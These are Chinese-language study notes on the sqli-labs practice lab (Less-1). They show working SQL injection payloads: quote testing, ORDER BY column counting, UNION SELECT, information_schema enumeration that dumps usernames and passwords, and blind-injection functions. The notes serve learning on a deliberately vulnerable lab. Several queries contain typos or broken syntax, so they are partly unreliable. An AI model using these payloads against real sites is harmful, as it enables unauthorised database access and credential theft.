请输入id作为带数值的参数
==================================================----------=======
输入
?id=1
我们会看到这个sql语句是我们添加进去的,原本是应该没有的
limit 0.1;其中第一位是从第几个开始的,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据
再输入加一个单引号我们会发现报错了(单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
)
?id=1'
一个一个的试
127.0.0.1/sqli-labs-master/Less-1/?id=1 order by3--+
less-01数据存在三列
=======================================================================
输入
?id=1 union select 1,2,3--+
发现没有变化
我们将id=1的数据注释掉 查看哪些数据可以回显 发现有回显
?id=-1' union select 1,2,3--+
知识点汇总
‘
--+, --, # (都是sql语句里面的注释符,注释之后后面的句子不再进行执行)
A and B(全对才为true) and 、&& 和运算,要所有条件成立才能执行
A or B(只要有一个是对的都为) or 、 || 或运算,只要一个条件成立
order by()字段数查询
order by 后加一个数字表示第几列进行排序。用此函数判断该数据库由几列组成
在index的文件中
echo $sql;(将我们构造的sql语句进行输出)
echo "<br>";(换行符让我们浏览的时候更加方便)
group_concat() 将所有的数据进行连接和拼接之后作为一行显示
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.table where table_schema='security'
查列:select column_name form information_schema.columns where table_name='users'
查字段:select username,password from security.users
left()函数:left(database(),1)='s' left(a,b)从左侧截取a的前b位,正确返回值1,错位返回值0
regexp函数:select user()regexp 'r' user()结果是root,regexp为匹配root的正则表达式
like函数:select user()like 'ro%' 匹配与regexp相似
sbustr(a,b,c) select substr()xxx substr(a,b,c)从位置b开始,截取a字符串c位的长度
ascii() 将某个字符串转化位ascii值
chr('数字') 或者ord('字母') 使用python中的两个函数可以判断当前的ascii值是多少
left()函数:left(database(),1)='s' | left(a,b)从左侧截取a的前b位,正确返回值1,错位返回值0 |
regexp函数:select user()regexp 'r' | user()结果是root,regexp为匹配root的正则表达式 |
like函数:select user()like 'ro%' | 匹配与regexp相似 |
sbustr(a,b,c) select substr()xxx | substr(a,b,c)从位置b开始,截取a字符串c位的长度 |
ascii() | 将某个字符串转化位ascii值 |
chr('数字') 或者ord('字母') | 使用python中的两个函数可以判断当前的ascii值是多少 |
对于security数据库 | |
select left(database(),1)='s'; | 前一位是否是s |
select database()regexp 's'; | 匹配第一个字符是否是s |
select database()like 's%'; | 匹配第一个字符是否是s |
select substr((select database()),1,1)='s'; | 匹配的第一个字符是否是s |
select substr((select database()),1,3)='sec' | 匹配的前三个字符是否是sec |
select ascii(substr(select database()),1,1); | 直接回显115 或者是: |
select ascii(substr(select database()),1,1)>100; | 如果大于110,就会返回1,否则返回0 |